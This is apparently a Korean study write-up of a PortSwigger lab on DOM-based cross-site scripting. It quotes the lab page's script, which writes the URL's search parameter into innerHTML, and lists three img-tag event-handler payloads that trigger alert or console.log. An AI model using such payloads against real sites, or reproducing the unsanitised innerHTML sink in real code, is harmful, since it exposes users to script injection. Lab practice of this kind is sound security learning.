< 문제 >
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
< Write-Up >
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
위 코드는 해당 페이지의 <script> 구문이다. 해당 search form에 쓴 글은 객체 query의 값이 되어, 페이지에 쓰이게 된다.
<img src='#' onerror="alert(1)">
<img src='#' onmouseover="alert(1)">
<img src="#" onerror="console.log('Test!!')"> -> console창에서 값 확인
< 참고 >
https://www.w3schools.com/jsref/dom_obj_event.asp